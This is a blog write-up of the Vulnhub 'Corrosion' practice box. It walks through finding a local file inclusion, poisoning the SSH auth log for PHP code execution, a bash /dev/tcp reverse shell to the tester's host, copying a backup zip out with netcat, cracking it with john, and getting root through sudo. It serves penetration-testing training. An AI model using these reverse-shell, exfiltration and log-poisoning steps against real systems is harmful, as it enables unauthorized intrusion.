Vulnhub Writeup of Corrosion

ArtilleryRed
7 min readSep 3, 2021
Corrosion Vulnhub Box

Another vulnhub box in our learning adventure to apply a systematic approach to penetration testing. I’ll start off with fping -aqg 192.168.4.0/24 and see what all we got. VirtualBox says it gave a MAC address ending in “0C” so let’s do arp -a to see our neighbors. Looks like we got an IP, I’ll store it in a variable so I don’t forget it. I’ll start a quick nmap with nmap -sC -sV -oN corrosion.nmap $IP and we get this:

Top Scan for Corrosion with NMAP

Not much, but it’s a start. Both OpenSSH and Apache look fairly new, but a quick searchsploit to check validates we don’t have exploits available for these versions. I’ll run a full nmap on all the ports in the background while we go investigate port 80: nmap -sC -sV -oN corrosion.nmap_full $IP -p- &. Running curl $IP gives the default apache page for ubuntu. I do a quick google search with “ubuntu apache 2.4.46” and the top results tells us that this is probably the “groovy” ubuntu release. Good to know for later if we decide to have to go down the exploitation road. With nothing on the landing page, time to start looking around. Nmap already checked for simple things like “robots.txt” and other things, so I’ll just start with directory-busting.

Digging into the website

Well, we found a tasks directory that has a open web directory with “tasks_todo.txt” in it. Curling it with curl $IP/tasks/tasks_todo.txt gives a few tasks that need to be done:

The leaked todo list

Well we didn’t see port 7672 open (the full nmap scan came back with no new results), so #2 hasn’t gotten done yet. I assume that there will be some way to see the auth log of the webpage. Got to keep digging to find that. Since tasks didn’t get us any further, we probably need more enumeration. Since we ran the medium list, might was well run the large on it and see if we get more hits.

Using a larger wordlist

Okay, more stuff revealed. Looks like we got some sites to visit. The index of blog-post is an html file with an image.jpg and a user named “randy”. Okay, but still not too interesting yet. It appears that the image is loaded from the same directory, but we didn’t find it in our directory busting. We may need to do some file busting if we don’t get anywhere after looking at the rest of the options. uploads is a redirection back to the root page. archives is another open directory that is hosting a randylogs.php file and refers to a /icons/ directory that it is pulling more gifs from. This really feels like some Content Management System (CMS) with directoriess like uploads, archives, icons. Downloading randylogs.php gives me an empty file back. That means it is executing on the server side and serving up nothing. Interesting. We may need to come back to that as well. I’m going to check for a CMS site by using a targeted wordlist for the site.

Suspected Wordpress comes up false

That finds nothing. Hmmm, is this a CMS that was started and #3 from the text file above indicates it isn’t ready yet? Now what, well let’s look at our enumeration. I have #1 saying that auth logs have bad permissions and I have a php file that is returning nothing. By default, auth logs are used for logging into the system and are found in /var/log/auth.log Maybe that randylogs.php file takes a parameter to do something with a log file. However, I have no idea what that name would be. Let’s try wfuzz and see if we can find one! Since we know that the page returns nothing, we can filter results on zero. The first attempt found a winner!

Fuzzing for an unknown parameter

86006 requests later, we got a winner! Looks like “file” is the parameter to use to get the local file inclusion. Let’s curl the page and see what we get now.

Getting success

Lots of data here. But remember what auth.log does, it records login sessions for the system. Can we generate a login request? We don’t have a spot on port 80, but we can on 22 right? Let’s check and see the results.

Finding our user “me” in the log

Well hotdog, we have a live feed. I put “me” for the username and “asdf” as the password. I don’t see the password in this list, but I do see the username. Now this is being ran through a php file, so if I can put proper php code in this file, in theory it should execute. Well, let’s try the easiest thing possible.

Testing for php injection

Looky there. We have the user “Did I Make it in?” sitting there. Let’s run that again and try injecting some parameterization. Now be careful here because if you poison the log with something that causes an error state, then you are going to break your LFI. If you do, you’ll have to reset the box to a pristine condition to try again.

Injecting the php code

I’ll just do it once and quit so we don’t have a bunch in there. Now to test it:

Validating command execution

Winner! Alright. Now to craft me a shell so I can use that instead of using this interface. I’ll start with a simple bash shell and see if that works. Since the spaces are going to kill me, I’ll use urlencode “bash -c ‘bash -i >& /dev/tcp/192.168.4.26/12345 0>&1’” to get my string

Getting a shell on the first attempt

Alright, first attempt is a winner! Just checking the contents of randylogs.php, that is a classic case of what NOT to do for file inclusion. So as we thought, he never finished setting up the site, there was nothing else for us to find on the webpages. As we expect, randy is a user on the box, but that is the only user in the home directory. Doing a quick grep bash /etc/passwd we see that only root and randy have a bash login shell. We can enumerate manually or use a tool, I’m calling in a tool! Let’s get linpeas on here and see what all we got. Start me a web-hosting with “python3 -m updog”. After trying curl, I used wget to get the file and run it. One of the things that stands out is the backups directory has a file. Let’s go check it out.

Found a juicy file

That looks really juicy like something I could use! So I attempt to extract but it wants passwords. Rats. john isn’t installed on the box, so let’s bring it back to our house and play with it there. Using updog, I can if I had curl which this box doesn’t! It has netcat, so we can transfer that way: nc -lvnp 1111 > user_backup.zip and on the victim nc 192.168.4.45 1111 < user_backup.zip. Now I have the file on my box, let’s see what john can do. First we have to make it a john format with zip2john user_backup.zip > crack_backup.hash. Then pass to john — wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt crack_backup.hash and it takes less than a second. Extracting it out with unzip user_backup.zip and providing the password gives me four files. And since I got both a password and a rsa key, I’ll just try ssh which works.

Checking for the low-hanging fruit, sudo for the win

So that is weird. We have a file that we can run as sudo, but it is current an executable file in that directory. Can it be this easy?

Let’s try an easy approach

Yup, that easy. We just changed the file to be a bash shell and when it ran as root we were a root shell. Craziness. See you all on the next box.

--

--

ArtilleryRed

Cyber Enthusiast and sharing some knowledge in a systematic way